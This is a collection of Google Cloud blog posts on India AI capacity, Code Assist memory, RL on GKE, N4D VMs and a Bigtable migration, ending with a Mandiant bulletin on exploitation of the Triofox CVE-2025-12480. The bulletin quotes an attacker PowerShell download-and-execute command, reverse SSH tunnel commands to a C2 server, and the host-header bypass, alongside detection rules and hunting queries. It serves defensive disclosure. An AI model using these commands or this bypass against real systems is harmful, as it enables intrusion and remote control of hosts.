Cloud

India’s developer community, vibrant startup ecosystem, and leading enterprises are embracing AI with incredible speed. To meet this moment for India, we are investing in powerful, locally-available tools in India that can help foster a diverse ecosystem, and ensure our platform delivers the controls you need for compliance and AI sovereignty.

Today, we’re announcing a significant expansion of our local AI hardware capacity for customers in India. This increase in local compute, powered by Google’s AI Hypercomputer architecture with the latest Trillium TPUs, will help more businesses and public sector organizations train and serve their most advanced Gemini models in India. 

By unblocking new opportunities for high-performance, low-latency AI applications we can help customers meet India’s data residency and sovereignty requirements.

Enabling models and control: AI tools built for India’s context

While infrastructure is the foundation for digital sovereignty, it also requires control over the data and the models built on it. We’re committed to bringing our latest AI advancements to India faster than ever, with the controls you need.

Our new services would enable you to build, tune, and deploy models that understand India’s unique business logic and rich cultural context.

• Next-generation models, here in India: Earlier this year, Google Cloud made Gemini available to regulated Indian customers by deploying Gemini 2.5 Flash with local machine-learning processing support. Now, we’re opening early testing for our latest and most advanced Gemini models to Indian customers. We’re also committing to launching the most powerful Gemini models in India with full data residency support. This is a first for Google Cloud, and a direct response to help meet the needs of our Indian customers.

• More AI capabilities, available locally: We’re providing additional consumption models and pre-built AI-powered applications tailored for local context by launching a suite of new capabilities with data residency support in India:

• Batch support for Gemini 2.5 Flash: Now generally available, this allows organizations to run high-volume, non-real-time AI tasks at a lower cost, all in India.

• Document AI: Now in preview, we’re providing local support to help Indian businesses automate document processing.

A sovereign AI ecosystem: Building for India, with India

The most durable and decisive factor for long-term digital sovereignty lies in cultivating the “human element” — the skilled talent and innovation ecosystem. A sovereign AI future depends on building a strong local ecosystem.

Our strategy is to support India’s ecosystem-led approach by investing in the researchers, developers, and startups who are building for India’s specific needs.

Collaboration with IIT Madras: Google Cloud and Google DeepMind are thrilled to collaborate with IIT Madras to support the launch of Indic Arena. Run independently by the renowned AI4Bharat center at IIT Madras, this platform will allow users from all over India to anonymously evaluate and rank AI models on tasks unique to India’s rich multilingual landscape. To support this initiative, we are providing cloud credits to power this critical, community-driven resource.

“At AI4Bharat, our mission is to build AI for India’s specific needs. A critical part of this is having a neutral, standardized benchmark to understand how models are performing across our many languages,” said Mitesh Khapra, associate professor, IIT Madras. “Indic Arena will be that platform. We are delighted to have Google Cloud’s support to provide the initial compute power to bring this independent, public-facing project to life for the entire Indian AI community.”

We encourage all developers, researchers, and organizations in India to explore the Indic Arena platform and contribute to building a more inclusive AI future.

We invite the entire Indian ecosystem, from startups and universities to government bodies and enterprises, to take advantage of this new, dedicated capacity for Gemini in Vertex AI and our sovereign-ready infrastructure to build the next generation of AI that is built by Indians, for Indians.

The best feedback during a code review is specific, consistent, and understands the history of a project. 

However, AI code review agents today are often stateless; they have no memory of past interactions. This means you might find the same feedback on new pull requests that you’ve rejected before, because the agent can’t learn from your team’s guidance, leading to frustration and repeated work.

Today, we’re releasing a new memory capability for Gemini Code Assist on GitHub for both enterprises and individual developers. Now, you can create a dynamic, evolving memory of your team’s coding standards, style, and best practices, all derived from your direct interactions and feedback within pull requests. The memory is stored securely in a Google-managed project specific to your installation, isolating it from other users.

Here’s how memory works

Memory transforms the code review agent from a stateless tool into a long-term project contributor that learns and adapts to your team. 

Automated vs. manual memory

Gemini Code Assist on GitHub already supports memory in the form of styleguide.md files. These rules are always added to the agent’s prompt, which makes it suitable for static, universal guidelines.

In contrast, persistent memory introduces a more dynamic and automated approach. It automatically extracts rules from pull request interactions, requiring no manual effort. These learned rules are stored efficiently and are only retrieved and applied when they are relevant to the specific code being reviewed. This creates a smarter, more scalable memory that adapts to your team 

The process is built on three key pillars:

1. It learns from your interactions

The process begins when you and your team do what you already do today – conducting code reviews: When a pull request is merged, Gemini Code Assist on GitHub will analyze the comment threads for feedback. For instance, if Gemini Code Assist on GitHub points out that “do not line-wrap import statements” in a .java file, and the author disagrees in their comment, the agent sees this interaction as a valuable piece of feedback and will store it. By waiting until a PR is merged, we ensure the conversation is complete and the code is a valuable source of truth.

2. It intelligently creates, updates and stores rules

From that simple interaction, persistent memory uses the powerful Gemini model to infer a generalized, reusable rule. In the example above, it would generate a natural language rule like: “In Java, import statements could be line-wrapped”.

3. It applies rules to future reviews

Once rules are stored in memory, the agent uses them in two critical ways:

1. To guide the initial review: Before it even begins analyzing a new pull request, the agent will query the persistent memory for a broad set of relevant rules for the repository. This helps shape its initial analysis to be more in line with your team’s established patterns.

2. To filter its own suggestions: After generating a set of draft review comments, the agent performs a second check. It retrieves highly specific rules related to its own comments and evaluates them. This acts as a filter to ensure its suggestions don’t violate a previously learned best practice, allowing it to drop or modify comments before you ever see them.

As more rules are accrued, the team’s tribal knowledge is shared across the codebase through code reviews.

Getting started

• New to the app? 

• If you are an individual developer or OSS maintainer, install Gemini Code Assist on GitHub from the GitHub Marketplace. 

• If you are an enterprise customer, onboard through the Google Cloud Console. Review our documentation to learn more about the setup and using the Code Review capability. See this video for a walkthrough of the process.    

• If you are an individual developer or OSS maintainer, enable this feature in the Gemini Code Assist on the Github admin panel.

• If you are an enterprise customer, enable this feature in the Google Cloud Console

As Large Language Models (LLMs) evolve, Reinforcement Learning (RL) is becoming the crucial technique for aligning powerful models with human preferences and complex task objectives.

However, enterprises that need to implement and scale RL for LLMs are facing infrastructure challenges. The primary hurdles include the memory contention from concurrently hosting multiple large models (such as the actor, critic, reward, and reference models), iterative switching between high latency inference generation, and high throughput training phases.

This blog details Google Cloud’s full-stack, integrated approach, from custom TPU hardware to the GKE orchestration layer — and shares how you can solve the hybrid, high-stakes demands of RL at scale.

A quick primer: Reinforcement Learning (RL) for LLMs

RL is a continuous feedback loop that combines elements of both training and inference. At a high level, the RL loop for LLMs functions as follows:

1. The LLM generates a response to a given prompt.

2. A “reward model” (often trained on human preferences) assigns a quantitative score, or reward, to the output.

3. An RL algorithm (e.g., DPO, GRPO) uses this reward signal to update the LLM’s parameters, adjusting its policy to generate higher-rewarding outputs in subsequent interactions.

This generation, evaluation, and optimization continually improves the LLM’s performance based on predefined objectives.

RL workloads are hybrid and cyclical. The main goal of RL is not to minimize error (training) or fast prediction (inference), but to maximize reward through iterative interaction. The primary constraint for the RL workload is not just the computational power, but also system-wide efficiency, specifically minimizing aggregate sampler latency and maximizing the speed of weight copying for efficient end-to-end step time.

Google Cloud’s full-stack approach to RL

Solving these system-wide challenges requires an integrated approach. You can’t just have fast hardware or a good orchestrator; you need every layer of the stack to work together. Here is how our full-stack approach is built to solve the specific demands of RL:

1. Flexible, high-performance compute (TPUs and GPUs): Instead of locking customers into one path, we provide two high-performance options. Our TPU stack is a vertically integrated, JAX-native solution where our custom hardware (excelling at matrix operations) is co-designed with our post-training libraries (MaxText and Tunix). In parallel, we fully support the NVIDIA GPU ecosystem, partnering with NVIDIA on optimized NeMo RL recipes so customers can leverage their existing expertise directly on GKE.

2. Holistic, full-stack optimization: We integrate optimization from the bare metal up. This includes our custom TPU accelerators, high-throughput storage (Managed Lustre, Google Cloud Storage), and — critically — the orchestration and scheduling that GKE provides. By optimizing the entire stack, we can attack the system-wide latencies that bottleneck hybrid RL workloads.

3. Leadership in open-source: RL infrastructure is complex and built on a wide range of tools. Our leadership starts with open-sourcing Kubernetes and extends to active partnerships with orchestrators like Ray. We contribute to key projects like vLLM, develop open-source solutions like llm-d for cost-effective serving, and open-source our own high-performance MaxText and Tunix libraries. This helps ensure you can integrate the best tools for the job, not just the ones from a single vendor.

4. Proven, mega-scale orchestration: Post-training RL can require compute resources that rival pre-training. This requires an orchestration layer that can manage massive, distributed jobs as a single unit. GKE AI mega-clusters support up to 65,000 nodes today, and we are heavily investing in multi-cluster solutions like MultiKueue to scale RL workloads beyond the limits of a single cluster.

Running RL workloads on GKE

Existing GKE infrastructure is well-suited for demanding RL workloads and provides several infrastructure-level efficiencies. 

The image below outlines the architecture and key recommendations for implementing RL at scale.

At the base, the infrastructure layer provides the foundational hardware, including supported compute types (CPUs, GPUs, and TPUs). You can use the Run:ai model streamer to accelerate the model streaming for all three compute types. High performance storage (Managed Lustre, Cloud Storage) can be used for storage needs for RL. 

The middle layer is the managed K8s layer powered by GKE, which handles the resource orchestration, resource obtainability using Spot or Dynamic Workload Scheduler, autoscaling, placement, job queuing and job scheduling and more at mega scale. 

Finally, the open frameworks layer runs on top of GKE, providing the application and execution environment. This includes the managed support for open-source tools such as KubeRay, Slurm and gVisor sandbox for secure isolated task execution. 

Building RL workflow

Before creating an RL workload, you must first identify a clear use case. With that objective defined, you then architect the core components: selecting the algorithm (e.g, DPO, GRPO), the model server (like vLLM or SGLang), the target GPU/TPU hardware, and other critical configurations.

Next, you can provision a GKE cluster configured with Workload Identity, GCS Fuse, and DGCM metrics. For robust batch processing, install the Kueue and JobSet APIs. We recommend deploying Ray as the orchestrator on top of this GKE stack. From there, you can launch the Nemo RL container, configure it for your GRPO job, and begin monitoring its execution. For the detailed implementation steps and source code, please refer to this repository.

Getting started with RL

1. Run RL on GPUs: Try the RL recipe on TPUs using MaxText and Pathways for GRPO algorithm, or if you use GPUs, try the NemoRL recipes.

2. Partner with the open-source ecosystem: Our leadership in AI is built on open standards like Kubernetes, llm-d, Ray, MaxText or Tunix. We invite you to partner with us to build the future of AI together. Come contribute to llm-d! Join the llm-d community, check out the repository on GitHub, and help us define the future of open-source LLM serving.

In today’s competitive environment, IT leaders are faced with supporting application scale, rolling out more features, and enabling high-bar customer experiences. This creates a direct and complex challenge: finding the right balance between performance and total cost of ownership (TCO) for the general-purpose workloads that power everyday business operations.

Today, we are announcing the general availability of the N4D machine series, the latest addition to Google Compute Engine’s cost-optimized, general-purpose portfolio. Addressing a wide range of workloads, such as web and application servers, data analytics platforms, and containerized microservices, N4D provides a flexible and price-performant solution.

The N4D machine series combines Google’s Titanium infrastructure with 5th Gen AMD EPYC™ “Turin” processors, delivering up to 3.5x the throughput for web-serving workloads vs. the previous-generation N2D.  N4D offers predefined shapes of up to 96 vCPUs and 768 GB of DDR5 memory, up to 50 Gbps of networking bandwidth, and Hyperdisk Balanced and Throughput storage. To deliver a blended cost savings, N4D allows you to move beyond rigid instance sizing for both compute and storage, with Custom Machine Types to independently configure the exact number of vCPUs and amount of memory, complemented with Hyperdisk, for tuning disk storage performance and capacity. For the most demanding general purpose workloads, pair N4D together with consistently high performance  of C4D.

Google Cloud provides workload-optimized infrastructure to ensure the right resources are available for every task. Titanium in particular, with its multi-tier offloads and security capabilities, is foundational to that infrastructure. Titanium offloads networking and storage processing to free up the CPU, and its dedicated SmartNIC manages all I/O, ensuring the AMD EPYC cores are reserved exclusively for your application. Titanium is part of Google Cloud’s vertically integrated stack — from the custom silicon in our servers to our planet-scale network traversing 7.75 million kilometers of terrestrial and subsea fiber across 42 regions — that is engineered to maximize efficiency and provide the ultra-low latency and high bandwidth to customers at global scale.

A new standard for price-performance

N4D machine series doesn’t just inch past the previous N2D generation; it sprints, delivering up to 50% higher price-performance for general computing workloads and up to 70% better price-performance for Java workloads. For web-serving workloads, N4D leverages Titanium and AMD’s Turin processors to drive incredible throughput. This results in up to 3.5x the price-performance vs N2D, driving faster response times and a better overall experience for your end-users.

Complementing C4D machine series

Earlier this year, we introduced our general-purpose C4D machine series built on the same underlying processor as N4D. Its consistently high performance and enterprise features like advanced maintenance support, larger shapes, and our next-gen Titanium Local SSDs, make C4D a great fit for critical workloads. In fact, customers such as Silk and Chess.com report greater than 40% improvement in performance with C4D over prior generations. 

But critical applications are only part of the story. A modern cloud architecture must also run countless general-purpose workloads where flexibility and price-performance are key. That’s why we designed N4D — as a complement to C4D. By leveraging C4D and N4D in tandem, you unlock the full spectrum of enterprise features, performance, flexibility, and cost-optimization, choosing:

• C4D for consistent performance: This is your solution for the most demanding, latency-sensitive applications. With up to 200 Gbps networking, Local SSD support along with larger shapes up to 384 vCPUs and bare metal options, C4D delivers predictable, high-end performance for large databases, high-traffic ad and game servers, and demanding AI/ML inference workloads.

• N4D for flexible cost-optimization: This is the engine for the vast majority of your general-purpose workloads. N4D’s leading price-performance, low cost, and flexibility allow you to slash TCO for applications like web servers, microservices, and development environments.

This approach is already delivering real-world results, allowing customers like Verve to optimize their business from both ends.

The Custom Machine Type and Hyperdisk advantage

Custom Machine Types are a key differentiator for Google Cloud, letting you go beyond predefined “T-shirt sizes”. Instead of forcing your workload into a box, you can tailor the infrastructure to fit your workload’s needs, saving on cost. For instance, a memory-intensive workload requiring 16 vCPUs and 70 GB of RAM might typically be placed on a predefined N4D-highmem-16 shape, forcing you to pay for unused resources. With CMTs, you provision the exact 16 vCPU and 70 GB configuration, eliminating that waste and achieving up to 17% cost savings. 

With shapes of up to 96 vCPUs and 768 GB of DDR5 memory, the combination of Custom Machine Types and N4D lets you dial in the exact resources you need with flexible vCPU-to-memory ratios along with extended memory support.

This granular control and TCO advantage extends beyond compute to your storage. Just as Custom Machine Types let you break free from fixed vCPU-to-memory ratios, Hyperdisk unbundles storage performance from capacity, letting you independently tune capacity and performance to precisely match your workload’s block storage requirements.

This is further enhanced by Hyperdisk Storage Pools for Hyperdisk Balanced volumes, which let you provision performance and capacity in aggregate, rather than managing each volume individually. The result is simpler management, higher efficiency, an easier path for modernizing SAN workloads — all this while helping you lower your storage TCO by as much as 30-50%.

Get started with N4D today

Adopting the latest N4D VM series is easy, particularly if you use Google Kubernetes Engine (GKE), where our custom compute classes remove the operational hurdles of migrating workloads to new hardware. Just add N4D to your prioritized list of VM types to ensure your workloads have the performance and flexibility they need to scale.

N4D is now available in us-central1 (Iowa), us-east1 (South Carolina), us-west1 (Oregon), us-west4 (Las Vegas), europe-west1 (Belgium), and europe-west4 (Netherlands). 

Check for the latest availability on our Regions and Zones page and deploy your first instance today in the Google Cloud console or with GKE. Learn more about N4D details here in documentation.

^{1. 9xx5C-044 – Testing by AMD Performance Labs as of 10/21/2025. N4D-standard-16 score comparison to N2D-standard-16 running FFmpeg v6.1.1 benchmark (average of 2x encode and 2x transcode) on Ubuntu24.04LTS OS with 6.8.0-1021-gcp kernel, SMT On.}

^{Performance uplift (normalized to N2D):}

^{Ffmpeg_raw_vp9                   1.76
Ffmpeg_h264_vp9                1.76
Ffmpeg_raw_h264                1.71
Ffmpeg_vp9_h264                1.76
FFmpeg average                   1.75}

^{Cloud performance results presented are based on the test date in the configuration. Results may vary due to changes to the underlying configuration, and other conditions such as the placement of the VM and its resources, optimizations by the cloud service provider, accessed cloud regions, co-tenants, and the types of other workloads exercised at the same time on the system}

In today’s fast-paced, data-driven landscape, the ability to process, analyze, and act on vast amounts of data in real time is paramount. For businesses aiming to deliver personalized customer experiences and optimize operations, the choice of database technology is a critical decision.

At Zeotap — a leading Customer Data Platform (CDP) — we empower enterprises to unify their data from disparate sources to build a comprehensive, unified view of their customers. This enables businesses to activate data across various channels for marketing, customer support, and analytics. Zeotap handles more than 10 billion new data points a day from more than 500 data sources across our clients, while orchestrating through more than 2000 workflows — one-third of those in real time with milliseconds latency. To meet stringent SLAs for data freshness and end-to-end latencies, performance is crucial.

However, as Zeotap grew, our ScyllaDB-based infrastructure faced scaling challenges, especially as the business needed to evolve towards real-time use cases and increasingly spiky workloads. We needed a more flexible, performant, cost-effective, and operationally efficient solution, which led us to Bigtable, a low-latency, NoSQL database service from Google Cloud for machine learning, operational analytics, and high-throughput applications. The migration resulted in significant benefits, including a 46% reduction in Total Cost of Ownership (TCO).

The challenge of scaling real-time analytics

Zeotap’s platform demands a database capable of handling a high write throughput of over 300,000 writes per second and nearly triple that in reads during peaks.

As our platform evolved, the initial architecture presented several hurdles:

• Scalability limitations: We initially self-managed ScyllaDB, on-prem, and later on in the cloud. We use Spark and BigQuery for analytical batch processing, but managing these different tools and pipelines across our own environment and customer environments reached a peak where scaling became increasingly harder.

• Operational overhead: Managing and scaling our previous database infrastructure required significant operational effort. We had to run scripts in the background to add nodes when resource alerts came up and had to map hardware to different kinds of workloads. 

• Deployment complexity: Embedding third-party technology in our stack complicated deployment. The commercial procurement process was also cumbersome.

• Cost predictability: Ensuring predictable costs for us and our clients was a growing concern as our business grew.

These challenges drove us to re-evaluate our data infrastructure and seek a cloud-native solution that could meet our streaming first, “zero-touch” ops philosophy, while supporting our demanding OLAP and OLTP workloads.

Why Bigtable? Performance, scalability, and efficiency

Zeotap’s decision to migrate to Bigtable was driven by four key requirements:

• Operational simplicity: Moving from ScyllaDB cluster to Bigtable meant eliminating a significant operational burden and achieving “zero-touch ops”. Bigtable abstracts away hardware mapping and node management. This eliminates the need for maintenance windows and helps ensure data rebalancing.

• Performance: Zeotap needed predictable performance, even in the face of regularly unpredictable workloads to meet our stringent SLAs. Bigtable’s ability to deliver low latencies for both reads and writes at scale was crucial — especially with spiky traffic patterns. 

• Efficient scalability: Managing ScyllaDB cluster scaling, rebalancing, and hotspots was operationally intensive. Zeotap handles very spiky and bursty workloads at times exceeding 300,000 writes per second. Bigtable disaggregates compute and storage, allowing for rapid scaling (further enhanced by autoscaling), which automatically adjusts cluster size in response to demand. This lead to more cost efficiency and helped eliminate idle resources.

• Total cost of ownership (TCO): A significant driver of this migration was the need for cost efficiency and predictability. By moving from ScyllaDB to Bigtable, we achieved a significant 46% reduction in our TCO. This stems from Bigtable’s efficient storage and the ability to combine use cases, such as using Bigtable as a hot store and BigQuery as a warm store.

• Tight integration: Bigtable’s integration with other Google Cloud services, particularly BigQuery, was a major advantage in reducing operational overhead. Features like reverse ETL directly into Bigtable greatly simplifies data pipelines and reduces Zeotap’s operational footprint by 20%.

Zeotap’s architectural evolution to cloud-native 

Zeotap’s transition to Bigtable wasn’t an overnight lift-and-shift, but part of a strategic plan to build a streaming real-time analytics platform that could meet the needs of an evermore demanding customer landscape:

• 2020: After running one of the largest graphs with JanusGraph-on-ScyllaDB and a heavy processing operation with Spark on AWS, we made the strategic move to migrate to Google Cloud.
• 2022: Adopted a Lambda architecture, heavily pivoting into BigQuery, and moving away from graph due to performance issues. ScyllaDB was acting now as a pure key-value store.
• 2023: Shifted to a Kappa architecture, prioritizing real-time ingestion and streaming. This was a major network redesign to meet the needs of clients for real-time use cases.
• 2024: Fully committed to a cloud-native model with Bigtable and BigQuery as its core, while eliminating Spark from our stack.

In our current architecture, Zeotap’s ingestion layer runs via Dataflow and a home-grown streaming engine with a combination of Memorystore and Bigtable powering inline enrichment, transformation, and ingestion. We used Memorystore as a lightning-fast cache layer to speed up read-heavy workloads, while helping to reduce strain on Bigtable. Bigtable serves as the hot store for real-time ingestion and data API for low-latency point lookups, while BigQuery acts as the warm and cold store for analytics, inferencing, and batch processing.

This architectural transformation, with Bigtable at its heart, enables us to:

• Consolidate fragmented data: Bigtable handles the complex multi-read/write operations required to build single customer views. The data derives from hundreds of different channels, ERP, CRM, web apps, and data warehouses. The data have different types of ID that need to get stitched together as they get consolidated into Bigtable.

• Deliver real-time customer 360: Serves comprehensive customer profiles, including identities, attributes, streaming events, calculated attributes, and consent data — all through our Bigtable-backed data API. This enables the same unified assets available across the entire customer lifecycle — empowering customer support, marketers, and data analysts alike.

• Optimize AI pipelines: The synergy between Bigtable as a feature store, and BigQuery as our inferencing platform by leveraging BQML, has dramatically shrunk our time to market for AI model deployment for clients — down from multiple weeks to less than a week.

Results and looking forward

Migrating to Bigtable has delivered substantial, quantifiable benefits for Zeotap. Most notably, we achieved a 46% decrease in Total Cost of Ownership (TCO) compared to our previous infrastructure. This cost efficiency was paired with a 20% reduction in overall operational tasks and overhead — a direct result of the tight integration between Bigtable and BigQuery. Beyond resource savings, the platform now offers enhanced performance and reliability — with lower latencies — enabling us to confidently meet our stringent Service Level Agreement (SLA) commitments. Furthermore, Bigtable has improved our agility, allowing for faster deployment of AI/ML models across various environments with efficient resource utilization, such as reading batch workloads off our Disaster Recovery (DR) cluster.

Transform your data infrastructure with Bigtable

Zeotap’s migration is a compelling example of how choosing the right database can address the challenges of scale, performance, and operational complexity in the era of real-time data and AI. By leveraging Bigtable’s capabilities for high throughput, low-latency reads, and efficient handling of demanding workloads, coupled with its seamless integration with BigQuery, Zeotap built a more flexible, efficient, and cost-effective platform that empowers customers’ real-time data initiatives.

Learn more

• Check out the power of Bigtable and begin planning your migration today.

• Discover Bigtable’s Cassandra API and tools for no-downtime, no code-change migrations from ScyllaDB and Cassandra

• Read more about new Bigtable features like SQL support, distributed counters, continuous materialized views, tiered storage and data boost.

Written by: Stallone D’Souza, Praveeth DSouza, Bill Glynn, Kevin O’Flynn, Yash Gupta

Welcome to the Frontline Bulletin Series

Straight from Mandiant Threat Defense, the “Frontline Bulletin” series brings you the latest on the threats we are seeing in the wild right now, equipping our community to understand and respond. 

Introduction

Mandiant Threat Defense has uncovered exploitation of an unauthenticated access vulnerability within Gladinet’s Triofox file-sharing and remote access platform. This now-patched n-day vulnerability, assigned CVE-2025-12480, allowed an attacker to bypass authentication and access the application configuration pages, enabling the upload and execution of arbitrary payloads. 

As early as Aug. 24, 2025, a threat cluster tracked by Google Threat Intelligence Group (GTIG) as UNC6485 exploited the unauthenticated access vulnerability and chained it with the abuse of the built-in anti-virus feature to achieve code execution. 

The activity discussed in this blog post leveraged a vulnerability in Triofox version 16.4.10317.56372, which was mitigated in release 16.7.10368.56560.

Gladinet engaged with Mandiant on our findings, and Mandiant has validated that this vulnerability is resolved in new versions of Triofox.

Initial Detection

Mandiant leverages Google Security Operations (SecOps) for detecting, investigating, and responding to security incidents across our customer base. As part of Google Cloud Security’s Shared Fate model, SecOps provides out-of-the-box detection content designed to help customers identify threats to their enterprise. Mandiant uses SecOps’ composite detection functionality to enhance our detection posture by correlating the outputs from multiple rules.

For this investigation, Mandiant received a composite detection alert identifying potential threat actor activity on a customer’s Triofox server. The alert identified the deployment and use of remote access utilities (using PLINK to tunnel RDP externally) and file activity in potential staging directories (file downloads to C:WINDOWSTemp).

Within 16 minutes of beginning the investigation, Mandiant confirmed the threat and initiated containment of the host. The investigation revealed an unauthenticated access vulnerability that allowed access to configuration pages. UNC6485 used these pages to run the initial Triofox setup process to create a new native admin account, Cluster Admin, and used this account to conduct subsequent activities.

Triofox Unauthenticated Access Control Vulnerability

During the Mandiant investigation, we identified an anomalous entry in the HTTP log file – a suspicious HTTP GET request with an HTTP Referer URL containing localhost. The presence of the localhost host header in a request originating from an external source is highly irregular and typically not expected in legitimate traffic.

GET /management/CommitPage.aspx - 443 - 85.239.63[.]37 Mozilla/5.0+(Windows+NT+10.0;+Win64;+x64)+AppleWebKit/537.36+(KHTML,+like+Gecko)+Chrome/101.0.4951.41+Safari/537.36 http://localhost/management/AdminAccount.aspx 302 0 0 56041

Figure 2: HTTP log entry

Within a test environment, Mandiant noted that standard HTTP requests issued to AdminAccount.aspx result in a redirect to the Access Denied page, indicative of access controls being in place on the page.

Access to the AdminAccount.aspx page is granted as part of setup from the initial configuration page at AdminDatabase.aspx. The AdminDatabase.aspx page is automatically launched after first installing the Triofox software. This page allows the user to set up the Triofox instance, with options such as database selection (Postgres or MySQL), connecting LDAP accounts, or creating a new native cluster admin account, in addition to other details.

Attempts to browse to the AdminDatabase.aspx page resulted in a similar redirect to the Access Denied page.

Mandiant validated the vulnerability by testing the workflow of the setup process. The Host header field is provided by the web client and can be easily modified by an attacker. This technique is referred to as an HTTP host header attack. Changing the Host value to localhost grants access to the AdminDatabase.aspx page.

By following the setup process and creating a new database via the AdminDatabase.aspx page, access is granted to the admin initialization page, AdminAccount.aspx, which then redirects to the InitAccount.aspx page to create a new admin account.

Analysis of the code base revealed that the main access control check to the AdminDatabase.aspx page is controlled by the function CanRunCrticalPage(),  located within the GladPageUILib.GladBasePage class found in C:Program Files (x86)TriofoxportalbinGladPageUILib.dll.

public bool CanRunCriticalPage()
{
    Uri url = base.Request.Url;
    string host = url.Host;
    bool flag = string.Compare(host, "localhost", true) == 0; //Access to the page is granted if Request.Url.Host equals 'localhost', immediately skipping all other checks if true

    bool result;
    if (flag)
    {
        result = true;
    }
    else
    {
       //Check for a pre-configured trusted IP in the web.config file. If configured, compare the client IP with the trusted IP to grant access
 
string text = ConfigurationManager.AppSettings["TrustedHostIp"];
        bool flag2 = string.IsNullOrEmpty(text);
        if (flag2)
        {
            result = false;
        }
        else
        {
            string ipaddress = this.GetIPAddress();
            bool flag3 = string.IsNullOrEmpty(ipaddress);
            if (flag3)
            {
                result = false;
            }
            else
            ...
           

Figure 8: Vulnerable code in the function CanRunCrticalPage() 

As noted in the code snippet, the code presents several vulnerabilities:

• Host Header attack – ASP.NET builds Request.Url from the HTTP Host header, which can be modified by an attacker.

• No Origin Validation – No check for whether the request came from an actual localhost connection versus a spoofed header.

• Configuration Dependence – If TrustedHostIP isn’t configured, the only protection is the Host header check.

Triofox Anti-Virus Feature Abuse

To achieve code execution, the attacker logged in using the newly created Admin account. The attacker uploaded malicious files to execute them using the built-in anti-virus feature. To set up the anti-virus feature, the user is allowed to provide an arbitrary path for the selected anti-virus. The file configured as the anti-virus scanner location inherits the Triofox parent process account privileges, running under the context of the SYSTEM account.

The attacker was able to run their malicious batch script by configuring the path of the anti-virus engine to point to their script. The folder path on disk of any shared folder is displayed when publishing a new share within the Triofox application. Then, by uploading an arbitrary file to any published share within the Triofox instance, the configured script will be executed.

SecOps telemetry recorded the following command-line execution of the attacker script:

C:Windowssystem32cmd.exe /c ""c:triofoxcentre_report.bat" C:WindowsTEMPeset_tempESET638946159761752413.av"

Post-Exploitation Activity

Support Tools Deployment

The attacker script centre_report.bat executed the following PowerShell command to download and execute a second-stage payload:

powershell -NoProfile -ExecutionPolicy Bypass -Command "$url = 'http://84.200.80[.]252/SAgentInstaller_16.7.10368.56560.zip'; $out = 'C:\WindowsappcompatSAgentInstaller_16.7.10368.56560.exe'; Invoke-WebRequest -Uri $url -OutFile $out; Start-Process $out -ArgumentList '/silent' -Wait"

The PowerShell downloader was designed to:

• Download a payload from http://84.200.80[.]252/SAgentInstaller_16.7.10368.56560.zip, which hosted a disguised executable despite the ZIP extension

• Save the payload to: C:WindowsappcompatSAgentInstaller_16.7.10368.56560.exe

• Execute the payload silently

The executed payload was a legitimate copy of the Zoho Unified Endpoint Management System (UEMS) software installer. The attacker used the UEMS agent to then deploy the Zoho Assist and Anydesk remote access utilities on the host.

Reconnaissance and Privilege Escalation

The attacker used Zoho Assist to run various commands to enumerate active SMB sessions and specific local and domain user information. 

Additionally, they attempted to change passwords for existing accounts and add the accounts to the local administrators and the “Domain Admins” group.

Defense Evasion

The attacker downloaded sihosts.exe and silcon.exe (sourced from the legitimate domain the.earth[.]li) into the directory C:windowstemp.

These tools were used to set up an encrypted tunnel, connecting the compromised host to their command-and-control (C2 or C&C) server over port 433 via SSH. The C2 server could then forward all traffic over the tunnel to the compromised host on port 3389, allowing inbound RDP traffic. The commands were run with the following parameters:

C:windowstempsihosts.exe -batch -hostkey "ssh-rsa 2048 SHA256:<REDACTED>" -ssh -P 433 -l <REDACTED> -pw <REDACTED> -R 216.107.136[.]46:17400:127.0.0.1:3389 216.107.136[.]46

C:windowstempsilcon.exe  -ssh -P 433 -l <REDACTED> -pw <REDACTED>-R 216.107.136[.]46:17400:127.0.0.1:3389 216.107.136[.]46

Conclusion

While this vulnerability is patched in the Triofox version 16.7.10368.56560, Mandiant recommends upgrading to the latest release. In addition, Mandiant recommends auditing admin accounts, and verifying that Triofox’s Anti-virus Engine is not configured to execute unauthorized scripts or binaries. Security teams should also hunt for attacker tools using our hunting queries listed at the bottom of this post, and monitor for anomalous outbound SSH traffic. 

Acknowledgements

Special thanks to Elvis Miezitis, Chris Pickett, Moritz Raabe, Angelo Del Rosario, and Lampros Noutsos

Detection Through Google SecOps

Google SecOps customers have access to these broad category rules and more under the Mandiant Windows Threats rule pack. The activity discussed in the blog post is detected in Google SecOps under the rule names:

• Gladinet or Triofox IIS Worker Spawns CMD

• Gladinet or Triofox Suspicious File or Directory Activity

• Gladinet Cloudmonitor Launches Suspicious Child Process

• Powershell Download and Execute

• File Writes To AppCompat

• Suspicious Renamed Anydesk Install

• Suspicious Activity In Triofox Directory

• Suspicious Execution From Appcompat

• RDP Protocol Over SSH Reverse Tunnel Methodology

• Plink EXE Tunneler

• Net User Domain Enumeration

SecOps Hunting Queries

The following UDM queries can be used to identify potential compromises within your environment.

GladinetCloudMonitor.exe Spawns Windows Command Shell

Identify the legitimate GladinetCloudMonitor.exe process spawning a Windows Command Shell.

metadata.event_type = "PROCESS_LAUNCH"
principal.process.file.full_path = /GladinetCloudMonitor.exe/ nocase
target.process.file.full_path = /cmd.exe/ nocase

Utility Execution

Identify the execution of a renamed Plink executable (sihosts.exe) or a renamed PuTTy executable (silcon.exe) attempting to establish a reverse SSH tunnel.

metadata.event_type = "PROCESS_LAUNCH"
target.process.command_line = /-Rb/
(
target.process.file.full_path = /(silcon.exe|sihosts.exe)/ nocase or
(target.process.file.sha256 = "50479953865b30775056441b10fdcb984126ba4f98af4f64756902a807b453e7" and target.process.file.full_path != /plink.exe/ nocase) or
(target.process.file.sha256 = "16cbe40fb24ce2d422afddb5a90a5801ced32ef52c22c2fc77b25a90837f28ad" and target.process.file.full_path != /putty.exe/ nocase)
)

Indicators of Compromise (IOCs)

The following IOCs are available in a Google Threat Intelligence (GTI) collection for registered users.

Note: The following table contains artifacts that are renamed instances of legitimate tools.

Host-Based Artifacts

Network-Based Artifacts